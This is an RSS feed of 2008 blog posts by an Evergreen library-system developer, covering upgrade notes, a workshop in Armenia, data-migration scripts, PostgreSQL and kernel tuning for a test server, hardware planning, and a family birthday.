<li><strong>Very important</strong>: Before installing the new version of Evergreen, you must prevent the database schema from being completely recreated or it will destroy any data that is already in your system. One way of doing this is, during the "make config" step, to list all of the Evergreen targets <u>except for</u> openils_db. I am simply incapable of remembering all of those targets, so my dirty workaround is to open Open-ILS/src/Makefile in an editor and modify the "install: " make target by removing the "storage-bootstrap" make target. What we really need is an "upgrade" target for "make config" that simply installs everything except for the database schema. </li> <li>Confirm that the new version of Evergreen has been installed by running the srfsh command "request open-ils.storage open-ils.system.version". </li> </ol> <p> For tomorrow (today, by the time you receive this), A. and G. are going to create a swap file to enable the system to swap memory to disk if need be; the system has 1 GB of RAM, which is enough for a small Evergreen system but when one is compiling programs at the same time as running Evergreen swap space really is necessary. This was a very good lesson learned for all of us! </p> <p> E. also interested in learning more about basic Linux administration. His institution currently runs on an entirely Windows infrastructure, so the requirement to learn Linux is a fairly high hurdle. I'm hoping that the eIFL-FOSS list will be a good resource for him to start that journey. He has also asked to go over the step-by-step instructions for installing Evergreen, so I'm considering starting that in a VMWare session so that we can run through the steps. Our major goal for tomorrow is to migrate some data from FSL's legacy system into Evergreen. Wish us luck! </p> <p><em>Editorial comment:</em> The combination of Armenian and Russian MARC records refused to load into the Evergreen 1.2.2.1 system, but on the flight home I confirmed that they loaded perfectly and were searchable on my Evergreen development system. As the development version will become this summer's 1.4 "internationalization" release, we are in good shape.</p> <p><em>Editorial comment 2:</em>On the second day, while running in circles trying to figure out why the records were refusing to load into the 1.2.2.1 system, I decided to try the <a href="irc://chat.freenode.net/#openils-evergreen">#openils-evergreen</a> IRC channel. Yerevan is 9 hours ahead of the Toronto/Atlanta time zone, so at noon Yerevan time I was hardly expecting any of the current core Evergreen developers to be online - yet, to our amazement, Mike Rylander responded. This was a pretty convincing demonstration to the attendees that the core developers really aren't far away or hard to contact at all.</p> Mon, 23 Jun 2008 20:34:52 -0400 http://www.coffeecode.net/archives/162-guid.html Get out of jail, go free, part I http://www.coffeecode.net/archives/161-Get-out-of-jail,-go-free,-part-I.html Evergreen http://www.coffeecode.net/archives/161-Get-out-of-jail,-go-free,-part-I.html#comments http://www.coffeecode.net/wfwcomment.php?cid=161 2 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=161 dan@coffeecode.net (Dan Scott) <p> As Mark Leggott mentioned in <a href="http://loomware.typepad.com/loomware/2008/05/vendor-to-open.html">Vendor to Open Source ILS in 1 Month #1</a>, I had the pleasure of assisting the migration of the University of Prince Edward Island library system from Unicorn to Evergreen. <a href="http://coffeecode.net/archives/123-Evergreen-and-the-business-case-for-choosing-an-open-source-ILS.html" title="Business case for choosing an open source library system">A little over a year ago</a>, in discussing the business case for open source library systems, I stated that one of the problems we faced with migrations is that the license for a proprietary system often inhibits openly sharing of information about how to export data from those systems in machine-usable formats. Thus, the open source library community needs to encourage the development of "migration ninjas". Little did I know that I would soon join the guild of ninjas and become <em>deadly and silent, and unspeakably violent</em>(1)(2). </p> <p> As a result, I have created a utility script that should be of assistance to SirsiDynix Unicorn or Symphony sites who are interested in exploring the possibilities offered by other library systems. The rather dryly named "export_unicorn.pl" script was added to the <a href="http://sirsiapi.org" title="Unicorn API repository">Unicorn API repository</a> as entry # 228 today under a GPL-2.0 license(3). As the script uses the Unicorn/Symphony API, however, I am sadly (to the best of my knowledge) not free to simply share the script with anyone. Therefore, to gain access to the script you must be an API-certified Unicorn or Symphony customer. Still, by making an export script available to SirsiDynix customers that provides the raw data in a relatively standard output format, it should ease the effort required by the migration ninjas for open source systems to massage the data into the needed input formats, and to avoid the <a href="http://www.google.ca/search?q=define%3Atetsubishi" title="small, sharp, often poisoned caltrops scattered to immobilize or slow down pursuers">tetsu-bishi</a> scattered by the proprietary systems in defence of "their" data(4)(5). </p> <ol> <li><a href="http://www.bnlmusic.com">Barenaked Ladies</a>, "The Ninjas". <em>Their website is horrible Flash and JavaScript overkill but damnit Jim, they're musicians, not webmasters; the "Snacktime" album is especially recommended if you have kids.</em></li> <li><em>Although I have to say I'm nowhere near as violent as Mike Rylander, who with his PostgreSQL-fu can carve seemingly any piece of data into the shape needed for import into Evergreen.</em></li> <li><em>Thanks to Mark Leggott for insisting that I retain copyright over the scripts created during the UPEI migration and for allowing me to share those scripts in the appropriate avenues. It's another weapon (shuriken? ninja-to?) in the migration ninja arsenal.</em></li> <li><em>This data does, after all, belong to the libraries who license a library system, but at least one company reportedly has a pattern of repeatedly removing interfaces that enable easy machine-readable access to library data...</em></li> <li><em>I find myself being thankful that Unicorn does provide an API for generating machine-readable data exports; all that it cost our library was a week of my life and the associated training fees and travel expenses</em></li> </ol> Mon, 16 Jun 2008 16:38:26 -0400 http://www.coffeecode.net/archives/161-guid.html Introduction to Evergreen at eIFL-FOSS ILS workshop http://www.coffeecode.net/archives/160-Introduction-to-Evergreen-at-eIFL-FOSS-ILS-workshop.html Evergreen http://www.coffeecode.net/archives/160-Introduction-to-Evergreen-at-eIFL-FOSS-ILS-workshop.html#comments http://www.coffeecode.net/wfwcomment.php?cid=160 2 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=160 dan@coffeecode.net (Dan Scott) <p> I was in Armenia last week, leading a <a href=""http://www.eifl.net/cps/sections/services/eifl-foss/ils/ils-project-workshop">workshop on open source library systems</a> along with Henri Damien Laurent from <a href="http://biblibre.com">BibLibre</a>. My charge was to introduce Evergreen and lead participants in two days of hands-on experience with the system; Henri took on the same task for Koha. I cannot say enough good things about our host for the workshop, the <a href="http://www.sci.am">Fundamental Library of the National Academy of Sciences of Armenia</a> headed up by Tigran Zargaryan; nor can I offer enough compliments to Randy Metcalfe on his skills in ensuring that everything ran smoothly; nor can I express how rewarding it was to meet representatives of so many different countries and how much I enjoyed their company! I look forward to helping the pilot sites succeed with their implementations. </p> <p> So, for the short term, I'll simply link to the "Introduction to Evergreen" presentation that I gave at the start of the workshop in <a href="http://www.coffeecode.net/uploads/talks/2008/Evergreen-eIFL-FOSS.odp" title="Evergreen-eIFL-FOSS.odp" target="_blank">OpenOffice</a> and <a href="http://www.coffeecode.net/uploads/talks/2008/Evergreen-eIFL-FOSS.ppt" title="Evergreen-eIFL-FOSS.ppt" target="_blank">PowerPoint</a> formats (as I promised to the participants). In the next day or two I plan to post a summary of the workshop activities; some of the lessons learned; and where I think I'll focus my attention next. </p> Mon, 16 Jun 2008 16:04:40 -0400 http://www.coffeecode.net/archives/160-guid.html In which digital manifestations of myself plague the Internets http://www.coffeecode.net/archives/159-In-which-digital-manifestations-of-myself-plague-the-Internets.html Coding http://www.coffeecode.net/archives/159-In-which-digital-manifestations-of-myself-plague-the-Internets.html#comments http://www.coffeecode.net/wfwcomment.php?cid=159 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=159 dan@coffeecode.net (Dan Scott) <p>Over the past few months, I've been fortunate enough to participate in a few events that have been recorded and made available on the 'net for your perpetual amusement. Well - amusing if you're a special sort of person. Following are the three latest such adventures, in chronological order:</p> <ul> <li><a href="http://www.archive.org/details/code4lib.conf.2008.pres.CouchDBsacrilege">CouchDB: delicious sacrilege</a> (presentation at the Code4Lib 2008 conference from February 2008). You can find my slides for the presentation <a href="http://coffeecode.net/archives/151-CouchDB-delicious-sacrilege.html">here</a>, but Noel Peden did such a good job of recording the video that you probably don't need them. Watching this wasn't as painful as I thought it was going to be. Oh, and what is this? It's a fairly technical introduction to <a href="http://incubator.apache.org/couchdb/">CouchDB</a>, a RESTful, replicating, high-performance document database. It's only 20 minutes long, and it may be amusing to watch my presentation "style" even if you don't care about the technical bits at all. Oh, and my monitor was blank for the entire thing, so I had to look over my shoulder to see what my audience was seeing. video_out_problems--</li> <li>I gave a presentation on the state of acquisitions in Evergreen as of March 12, 2008 at the <a href="http://www.valenj.org/newvale/ols/symposium2008/program-schedule.shtml">VALE Next Generation Academic Library Symposium</a>. VALE made <a href="mms://video.wpunj.edu/FMG1/locally_produced/wmv_300kbit/LD-4-10-08_OLS-Symposium-D_WMV_300Kbit.wmv">video (streaming WMV)</a> available, as well as <a href="http://www.valenj.org/newvale/ols/symposium2008/media/dscott.mp3">audio (MP3)</a>, and my slides are available <a href="http://coffeecode.net/archives/152-Evergreen-Acquisitions-at-VALEs-Next-Generation-Academic-Library-System-Symposium.html">here</a>. I haven't watched this one yet: for one thing, the state of Evergreen acquisitions has come a <em>long</em> way in the past two months. For another, during the question-and-answer session that follows my talk, I recall giving a rather garbled answer to what should have been a straightforward question about the GPL license. Of course, nothing is straightforward about licensing...</li> <li>Last week I was at the University of Windsor collaborating with the likes of Mike Rylander, Bill Erickson, <a href="http://lisletters.fiander.info/" title="David Fiander">David Fiander</a>, <a href="http://www.google.ca/search?q=art+rhyno" title="A single link can't do the man justice">Art Rhyno</a>, <a href="http://libgrunt.blogspot.com/" title="John Fink">John Fink</a>, <a href="http://lackoftalent.org/michael/blog/" title="Michael Giarlo">Michael Giarlo</a>, and <a href="http://fawcett.blogspot.com/" title="Graham Fawcett">Graham Fawcett</a> on Evergreen's acquisitions system... David snapped <a href="http://www.flickr.com/photos/bookgeek/2515771427/">this photo</a> of John and I working in the ancient "Technical Services" room (hah!) and it was picked up by a <a href="http://www.blogwindsor.com/2008/05/28/library-geeks/#more-273">local Windsor blog</a> with the comment "librarians are the new geek". Thanks, I think...</li> </ul> Wed, 28 May 2008 08:46:20 -0400 http://www.coffeecode.net/archives/159-guid.html Weeding 2.0 http://www.coffeecode.net/archives/158-Weeding-2.0.html Evergreen http://www.coffeecode.net/archives/158-Weeding-2.0.html#comments http://www.coffeecode.net/wfwcomment.php?cid=158 5 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=158 dan@coffeecode.net (Dan Scott) <p>Okay, this is definitely a lame thing to be thinking about at midnight on a Saturday, but I was just playing with the shelf browser in the <a href="http://open-ils.org" title="Evergreen project page">Evergreen</a> representation of our 780,000 bibliographic records (okay, that is definitely the wrong thing to be <em>doing</em> at midnight on a Saturday). For some reason, I was wandering through the subject collection pertinent to librarians (pray for my soul), noticed a book that probably should have been discarded years ago, and thought "Gee, i don't want to deal with this right now, but wouldn't it be nice if I could just mark this <strong>Weed me</strong> and forget about it until Monday?"</p> <p>Then I realized that that wouldn't be a stretch at all. In Evergreen, users have "bookbags" to which they can add items. These bookbags can be shared as RSS feeds and otherwise easily exported into other formats. If we were running Evergreen for real, I could create a "Weed me!" bookbag, add in the suspect along with a bunch of other festering tomes, and send the RSS feed to a student to perform the manual labour. Or perhaps the RSS feed gets aggregated with other weeders' feeds and a weeding list gets generated on a monthly basis for efficient labour practices. You get the idea.</p> <p>Of course, you would really want to have more information than just the stock shelf browsing interface at hand when making weeding decisions. For example, you would need a tally of recorded uses displayed beside the item, with the ability to drill down for totals by year. If you participate in a consortial "last copy standing" program, you would want a quick check to see if any other institutions still hold a copy of the resource. So, an enhanced interface would be needed to provide an experience that combines the traditional weeding approach of roaming the stacks and generating reports of items matching some minimum age and minimum usage criteria.</p> <p>Think about it a little further though (I'm sure you're thinking a lot faster than me at this point; you're probably having the luxury of reading this at the beginning of the day, coffee in hand, invigorated after an early morning run in the lingering late spring chill... or not), and there are points in our institutional workflows where we could naturally introduce weeding activities. How do we get to the point of having three editions of a given text on the shelf? If I have the 1995, 2003, and 2007 editions of a text, I can assure you that when I ordered the 2007 edition I had already checked our ILS to see if we had a copy of that edition already, and would have noticed the previous editions. At that point, I should have the ability to say "Oh - get rid of the 1995 edition <strong>now</strong> and once the 2007 edition is processed and on the shelf, cull the 2003 edition to boot." If I was designing an acquisitions module today, that's certainly something I would consider as a nice-to-have. Ahem.</p> <p>Weeding 2.0 may not be a sexy subject. <a href="http://www.google.ca/search?q=%22weeding+2.0%22">Google</a> and <a href='http://search.yahoo.com/search?p="weeding+2.0"'>Yahoo</a> each turn up exactly four hits, none of them related to libraries, which is remarkable in this overly-hyped everything 2.0 world. But it's something we should consider in the design and tailoring of our library systems; and while it's not going to rank in my top level of priorities for Evergreen, it will work its way in there somewhere, sometime. Hopefully before the stacks in my subject areas buckle under the weight of unused, out-of-date books.</p> Sun, 11 May 2008 00:07:18 -0400 http://www.coffeecode.net/archives/158-guid.html Two! 2! Too! Tu! Tout! http://www.coffeecode.net/archives/157-Two!-2!-Too!-Tu!-Tout!.html Amber http://www.coffeecode.net/archives/157-Two!-2!-Too!-Tu!-Tout!.html#comments http://www.coffeecode.net/wfwcomment.php?cid=157 1 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=157 dan@coffeecode.net (Dan Scott) <div class="serendipity_imageComment_left" style="width: 110px"><div class="serendipity_imageComment_img"><a class='serendipity_image_link' href='http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_1.jpg' onclick="F1 = window.open('/uploads/pics/amber/amber_bday_2008_1.jpg','Zoom','height=501,width=663,top=141,left=188,toolbar=no,menubar=no,location=no,resize=1,resizable=1,scrollbars=yes'); return false;"><!-- s9ymdb:263 --><img class="serendipity_image_left" width="110" height="83" src="http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_1.serendipityThumb.jpg" alt="" /></a></div><div class="serendipity_imageComment_txt">Ramping up</div></div> <p>This year, we hosted a small party focusing on the little ones in Amber's life: a few of her friends from day care, and a friend from up the street.</p><br clear="all"/> <div class="serendipity_imageComment_left" style="width: 110px"><div class="serendipity_imageComment_img"><a class='serendipity_image_link' href='http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_2.jpg' onclick="F1 = window.open('/uploads/pics/amber/amber_bday_2008_2.jpg','Zoom','height=501,width=663,top=141,left=188,toolbar=no,menubar=no,location=no,resize=1,resizable=1,scrollbars=yes'); return false;"><!-- s9ymdb:264 --><img class="serendipity_image_left" width="110" height="83" src="http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_2.serendipityThumb.jpg" alt="" /></a></div><div class="serendipity_imageComment_txt">The amazing cat cake</div></div> <p>Lynn used the same carrot cake recipe as last year (nice and tasty!), but this year it came in the appearance of Amber's favourite animal.</p><br clear="all"/> <div class="serendipity_imageComment_left" style="width: 110px"><div class="serendipity_imageComment_img"><a class='serendipity_image_link' href='http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_3.jpg' onclick="F1 = window.open('/uploads/pics/amber/amber_bday_2008_3.jpg','Zoom','height=501,width=663,top=141,left=188,toolbar=no,menubar=no,location=no,resize=1,resizable=1,scrollbars=yes'); return false;"><!-- s9ymdb:265 --><img class="serendipity_image_left" width="110" height="83" src="http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_3.serendipityThumb.jpg" alt="" /></a></div><div class="serendipity_imageComment_txt">She blew out the candle herself. Self! SELF!</div></div> <p>Blowing out the candle was a huge success.</p><br clear="all"/> <div class="serendipity_imageComment_left" style="width: 110px"><div class="serendipity_imageComment_img"><a class='serendipity_image_link' href='http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_4.jpg' onclick="F1 = window.open('/uploads/pics/amber/amber_bday_2008_4.jpg','Zoom','height=501,width=663,top=141,left=188,toolbar=no,menubar=no,location=no,resize=1,resizable=1,scrollbars=yes'); return false;"><!-- s9ymdb:266 --><img class="serendipity_image_left" width="110" height="83" src="http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_4.serendipityThumb.jpg" alt="" /></a></div><div class="serendipity_imageComment_txt">Cake distribution went smoothly</div></div> <p>Very little cake was wasted in the making of this birthday. Most of the cake was consumed rather than applied to faces or clothes.</p><br clear="all"/> <div class="serendipity_imageComment_left" style="width: 110px"><div class="serendipity_imageComment_img"><a class='serendipity_image_link' href='http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_5.jpg' onclick="F1 = window.open('/uploads/pics/amber/amber_bday_2008_5.jpg','Zoom','height=501,width=663,top=141,left=188,toolbar=no,menubar=no,location=no,resize=1,resizable=1,scrollbars=yes'); return false;"><!-- s9ymdb:267 --><img class="serendipity_image_left" width="110" height="83" src="http://www.coffeecode.net/uploads/pics/amber/amber_bday_2008_5.serendipityThumb.jpg" alt="" /></a></div><div class="serendipity_imageComment_txt">Daddy and Amber wound down with a book in the window on a rainy day</div></div> <p>Thanks to everyone for their cards and calls and emails celebrating Amber's birthday!</p> Sat, 10 May 2008 09:32:00 -0400 http://www.coffeecode.net/archives/157-guid.html Tuning PostgreSQL for Evergreen on a test server http://www.coffeecode.net/archives/156-Tuning-PostgreSQL-for-Evergreen-on-a-test-server.html Evergreen PostgreSQL http://www.coffeecode.net/archives/156-Tuning-PostgreSQL-for-Evergreen-on-a-test-server.html#comments http://www.coffeecode.net/wfwcomment.php?cid=156 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=156 dan@coffeecode.net (Dan Scott) <p><strong>Update 2008-05-01</strong>: Fixed a typo for sysctl: -a parameter simply shows all settings; -w parameter is needed to write the setting. Duh.</p> <p> Once you have decided on and acquired your <a href="http://www.coffeecode.net/archives/155-Test-server-strategies.html">test hardware for Evergreen</a>, you need to think about tuning your PostgreSQL database server. Once you start loading bibliographic records, you might notice that after 100,000 records or so that your search response times aren't too snappy. Don't snarl at Evergreen. By default, PostgreSQL ships with very conservative settings (something like machines with 256 MB of RAM!) so if you don't tune those settings you're getting a false representation of your system's capabilities. </p> <p> The "right" settings for PostgreSQL depend significantly on your hardware and deployment context, but in almost any circumstance you will want to bump up the settings from the delivered defaults. To give you an idea of what you need to consider, I thought I would share the settings that we're currently using on our Evergreen test server at Laurentian University. You might be able to use these as a starting point and adjust them accordingly once you've run some representative load tests against your configuration. And it's useful documentation for me to fall back on in a few months, when all of this has escaped my grasp <img src="http://www.coffeecode.net/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> </p> <h4>The defaults (as shipped in Debian Etch)</h4> <p>The defaults in Debian Etch are quite conservative. Consider that our test server has 12GB of RAM. The default only allocates 1MB of RAM to work memory (which is critical for sorting performance) and only 8MB of RAM to shared buffers. Following are the defaults set in /etc/postgresql/8.1/main/postgresql.conf:</p> <pre> # - Memory - #shared_buffers = 1000 # min 16 or max_connections*2, 8KB each #temp_buffers = 1000 # min 100, 8KB each #max_prepared_transactions = 5 # can be 0 or more # note: increasing max_prepared_transactions costs ~600 bytes of shared memory # per transaction slot, plus lock space (see max_locks_per_transaction). #work_mem = 1024 # min 64, size in KB #maintenance_work_mem = 16384 # min 1024, size in KB #max_stack_depth = 2048 # min 100, size in KB # - Free Space Map - #max_fsm_pages = 20000 # min max_fsm_relations*16, 6 bytes each #max_fsm_relations = 1000 # min 100, ~70 bytes each </pre> <h4>Our test server settings</h4> <p>Our test server has 12 GB of RAM. Assuming that the PostgreSQL defaults were set for a system with 1 GB of RAM, we should be able to multiply the memory-based settings by at least a factor of 12. We're a little bit more aggressive than that in our settings. Note, however, that this is a single-server install of Evergreen, so we're also running memcached, ejabberd, Apache, and all of the Evergreen services as well as the database - oh, and a test instance of an institutional repository, among other apps - so we're not nearly as aggressive as we would be in a dedicated PostgreSQL server configuration. Please note that I'm making no claims that this is the optimal set of configuration values for PostgreSQL even on our own hardware!</p> <pre> # shared_buffers: much of our performance depends on sorting, so we'll set it 100X the default # some tuning guides suggest cranking this up to as much 30% of your available RAM shared_buffers = 100000 # 8K * 100000 = ~ 0.8 GB # work_mem: how much RAM each concurrent process is allowed to claim before swapping to disk # your workload will probably have a large number of concurrent processes work_mem=524288 # 512 MB # max_fsm_pages: increased because PostgreSQL demanded it max_fsm_pages = 200000 </pre> <p>After you change these settings, you will need to restart PostgreSQL to make the settings take effect.</p> <h4>Kernel tuning</h4> <p>In addition to PostgreSQL complaining about max_fsm_pages not being high enough, your operating system kernel defaults for SysV shared memory might not be high enough to support the amount of RAM PostgreSQL demands as a result of your modifications. In one of our test configurations, we had cranked up work_mem to 8GB; Debian complained about an insufficient SHMMAX setting, so we were able to adjust that by running the following command as root to set the kernel SHMMAX to 8GB (8*1024^2):</p> <pre> sysctl -w kernel.shmmax=8589934592 </pre> <p>To make this setting sticky through reboots, you can simply modify /etc/sysctl.conf to include the following line:</p> <pre> # Set SHMMAX to 8GB for PostgreSQL #kernel.shmmax=8589934592 </pre> <h4>Other measures</h4> <p> Debian Etch comes with PostgreSQL 8.1. The first version of PostgreSQL 8.1 was released in November 2005. That's a long time in computer years. Version 8.2, which was released less than a year later, "adds many functionality and performance improvements" (according to the <a href="http://www.postgresql.org/docs/8.2/static/release-8-2.html">release notes</a>). If you're not getting the performance you expect from your hardware with Debian Etch, perhaps a <a href=" http://packages.debian.org/etch-backports/postgresql-8.2">backport of PostgreSQL 8.2</a> would help out. </p> <h4>Further resources</h4> <p>This is just a shallow dip into PostgreSQL tuning for Evergreen - hopefully enough to alert you to some of the factors you need to consider if you're putting Evergreen into a serious testing environment or production environment. Here are a few places to dig deeper into the art of PostgreSQL tuning:</p> <ul> <li>PostgreSQL manual, resource consumption section of server configuration: <a href="http://www.postgresql.org/docs/8.1/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-MEMORY">version 8.1</a> and <a href="http://www.postgresql.org/docs/8.2/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-MEMORY">version 8.2</a></li> <li>An annotated version of the 8.0 parameters with more explicit advice is available at <a href="http://www.powerpostgresql.com/Downloads/annotated_conf_80.html"></a></li> <li>Some good advice is buried about halfway down <a href="http://cbbrowne.com/info/postgresql.html">Christopher Browne's page</a> under the heading "Tuning PostgreSQL", along with links to further resources</li> <li>The "Performance Whack-A-Mole" presentation at <a href="http://www.powerpostgresql.com/Docs">PowerPostgreSQL</a> is a great tutorial for holistic system tuning</li> </ul> Mon, 14 Apr 2008 14:48:19 -0400 http://www.coffeecode.net/archives/156-guid.html Test server strategies http://www.coffeecode.net/archives/155-Test-server-strategies.html Coding Evergreen http://www.coffeecode.net/archives/155-Test-server-strategies.html#comments http://www.coffeecode.net/wfwcomment.php?cid=155 11 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=155 dan@coffeecode.net (Dan Scott) <p> Occasionally on the <a href="http://open-ils.org/irc.php">#OpenILS-Evergreen IRC channel</a>, a question comes up what kind of hardware a site should buy if they're getting serious about trying out Evergreen. I had exactly the same chat with Mike Rylander back in December, so I thought it might be useful to share the strategy we developed in case other organizations are interested in piggy-backing on our research. We came up with three different scenarios, depending on the funding available to the organization and how serious the organization is about testing, developing, and deploying Evergreen. </p> <p> You can also look at the scenarios as stages, as the scenarios enable progressively more realistic testing. An organization can always start with a single server and add more servers over time; if you can swing a significant discount for buying in bulk, however, it might make sense to bite the bullet early. </p> <p> Some pertinent facts about our requirements: we will eventually be loading around 5 million bibliographic records onto the system. We're an academic organization, so concurrent searching and circulation loads will be low relative to public libraries. </p> <h4>Scenario 1: A single bargain-basement testing server</h4> <p> In this scenario, the organization purchases a single server for the short term, and configures it to run the entire Evergreen + OpenSRF stack: </p> <ul> <li>database</li> <li>Web server</li> <li>Jabber messaging</li> <li>memcached</li> <li>OpenSRF applications</li> </ul> </p> <p> This server needs to have powerful CPUs, large amounts of RAM, and many fast (10K RPM or higher) hard drives in a striped RAID configuration (the latter because database performance typically gets knee-capped by disk access). A "higher education" quote online from a reputable big-name vendor for a rack-mounted 2U database server with 2x4-core CPU, 16GB RAM, 6x73GB RAID 5 drives comes in at approximately $7000. </p> <p> This scenario is fine for development and testing with a limited number of users, but if you intend to do any sort of stress testing with this server or throw it open to the public, performance will likely grind to a halt. <strong>Note:</strong> This is close to the system that we're currently running at <a href="http://biblio-dev.laurentian.ca">http://biblio-dev.laurentian.ca</a> - 12 GB of RAM, 2 dual-core CPUs - with 800K bibliographic records and pretty snappy search performance. It's certainly nothing to sneeze at. </p> <h4>Scenario 2: one database server, one network server</h4> <p> In this scenario, you purchase a database server and a network server. We'll use the same specs from scenario 1 for the database server, and a CPU + RAM-oriented server for the network server (disk access isn't a factor for the network apps, so you just buy two small mirrored drives). The stock higher education quote for a rack-mounted 1U network server with 2x4-core CPU, 16GB RAM, 2x73GB RAID 1 drives is approximately $5250. </p> <p> This scenario will support development and testing, as well as enable you perform relatively representative stress testing runs with a significant number of simultaneous users. </p> <h4>Scenario 3: two database servers, two or three network servers</h4> <p> In this scenario, you purchase two database servers so that you can test database replication, split database loads between search and reporting, and two or three network servers to test different distributions of the caching and network apps across the servers to determine the configuration that best meets your expected demands. The cost of the five servers adds up to less than $30,000 - less than a single traditional proprietary UNIX server - and would be less if you can negotiate a bulk discount. </p> <p> The third scenario supports development and testing, and will give you practical experience with a configuration that would approximate your production deployment of servers. When you go live, you could move one of the database servers and all but one of the network servers over to the production cluster, and revert back to scenario one for your ongoing test and development environment. </p> <h4>The Conifer approach</h4> <p> We opted to go with the third scenario to build a serious test cluster for our consortium. However, the "scenarios as stages" approach ended up being our strategy as our original choice of Dell servers came with RAID controllers that do not work well under Debian. After returning the servers to Dell, we were forced to press one of our backup servers into service as a scenario-one style server while waiting for our new order from HP to arrive. </p> Wed, 09 Apr 2008 20:39:18 -0400 http://www.coffeecode.net/archives/155-guid.html Inspiring confidence that my problem will be solved http://www.coffeecode.net/archives/154-Inspiring-confidence-that-my-problem-will-be-solved.html Coding http://www.coffeecode.net/archives/154-Inspiring-confidence-that-my-problem-will-be-solved.html#comments http://www.coffeecode.net/wfwcomment.php?cid=154 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=154 dan@coffeecode.net (Dan Scott) <p>Hmm. I think I'm in trouble if the support site itself is incapable of displaying accented characters properly.</p> <div class="serendipity_imageComment_center"><div class="serendipity_imageComment_img"><!-- s9ymdb:259 --><img class="serendipity_image_center" src="http://www.coffeecode.net/uploads/pics/inspiring_confidence.png" alt="Corrupted characters in a problem report about corrupted characters. Oh dear." /></div><div class="serendipity_imageComment_txt">Corrupted characters in a problem report about corrupted characters. Oh dear.</div></div> <p> My analysis of the problem is that the content in the middle is contained within a frame, and is actually encoded in ISO-8859-1 - but doesn't have an encoding declaration. And the containing HTML page, of course, declares that it is UTF-8. So poor Mozilla gets very confused. And our poor users continue to get corrupted characters in their reminder and overdues notices. </p> <p><em>Note</em>: Some information removed from the screencap to protect the innocent - the client care people are actually excellent folk, and I'm sure they're just as frustrated by the problem reporting system as we are.</p> Thu, 27 Mar 2008 21:39:27 -0400 http://www.coffeecode.net/archives/154-guid.html Progress with Project Conifer http://www.coffeecode.net/archives/153-Progress-with-Project-Conifer.html Evergreen http://www.coffeecode.net/archives/153-Progress-with-Project-Conifer.html#comments http://www.coffeecode.net/wfwcomment.php?cid=153 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=153 dan@coffeecode.net (Dan Scott) <p>Project Conifer is the effort by McMaster University, University of Windsor, and Laurentian University to put together a consortial instance of Evergreen. <a href="http://conifer.mcmaster.ca/node/15">A few weeks back</a>, we agreed that May 2009 would be our go-live date. So the clock is ticking quite loudly in my ears. </p> <p>Today I got an <a href="http://biblio-dev.laurentian.ca">Evergreen test server</a> up and running, loaded with the records from the consortium of Laurentian partners. I hit a few bumps on the road, but eventually successfully loaded about 800,000 bibliographic records and about 500,000 items. I also turned on the Syndetics enrichment data, so some items offer cover images, tables of contents, reviews, and author information. The response time is pretty snappy (it's running on a 4-core server with 12GB of RAM).</p> <p>Things that made my task harder than it probably should have been:</p> <ul> <li>yaz-marcdump generated invalid XML when I converted our MARC records from MARC21 to MARC21XML format. Maybe this problem is fixed in later versions of yaz-marcdump (I was using the stable Debian Etch version, 2.1.56, which is <em>crazy</em> old), or I could have tried <a href="http://marc4j.tigris.org/">marc4j</a> or <a href="http://oregonstate.edu/~reeset/marcedit/html/index.html">MarcEdit</a> instead to try for better results, but I didn't, and it cascaded into problems with...</li> <li>Dumping all of the holdings as part of the bibliographic records threw things off when some of the records had so many holdings attached (think a weekly periodical that a library circulates and therefore each issue has its own barcode) that they spilled over MARC's record length limit, resulting in multiple MARC records just to hold the holdings - which causes some problems for the basic import process. I eventually punted on trying to parse the MARC21XML for holdings and just dumped the data I needed directly from Unicorn in pipe-delimited format.</li> <li>Not tuning PostgreSQL <em>before</em> starting to load data into the database was just plain stupid. The defaults for PostgreSQL are incredibly conservative, and must be modified to handle large transactions and to perform. Here are the tweaks I made for our 12GB machine, starting with the Linux kernel memory settings:<pre> # -- in /etc/sysctl.conf -- # Set SHMMAX to 8GB for PostgreSQL kernel.shmmax=8589934592 </pre> <pre> # -- in /etc/postgresql/8.1/main/postgresql.conf -- # Crank up shared_buffers and work_mem shared_buffers = 10000 work_mem=8388608 # 8 GB, equal to our kernel.shmmax max_fsm_pages = 200000 </pre></li> <li> Evergreen depends on accurate fixed fields to determine the format of an item. Unfortunately, many of our electronic resources appear not to have been coded as such... so we have some data clean-up to do. </li> </ul> <p> Ah well: as Jerry Pournelle used to say in his Chaos Manor column, "I do these things so that you don't have to." Hopefully it makes a smoother path for others to get to Evergreen. </p> Wed, 26 Mar 2008 22:15:25 -0400 http://www.coffeecode.net/archives/153-guid.html Evergreen Acquisitions at VALE's Next Generation Academic Library System Symposium http://www.coffeecode.net/archives/152-Evergreen-Acquisitions-at-VALEs-Next-Generation-Academic-Library-System-Symposium.html Evergreen http://www.coffeecode.net/archives/152-Evergreen-Acquisitions-at-VALEs-Next-Generation-Academic-Library-System-Symposium.html#comments http://www.coffeecode.net/wfwcomment.php?cid=152 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=152 dan@coffeecode.net (Dan Scott) <p> On Wednesday, I was fortunate enough to join a distinguished panel of speakers and a crowded music hall at <a href="http://www.valenj.org/newvale/ols/symposium2008/">VALE's Next Generation Academic Library System Symposium</a> at <a href="http://www.tcnj.edu">The College of New Jersey</a>. I had been invited to present an update on the state of acquisitions support in Evergreen, as well as to provide a brief overview of Project Conifer (the collaboration between Laurentian University, McMaster University, and the University of Windsor to create a consortial implementation of Evergreen). </p> <p> To summarize what I intended to be the main points of my presentation (which may or may not have come through in real life): </p> 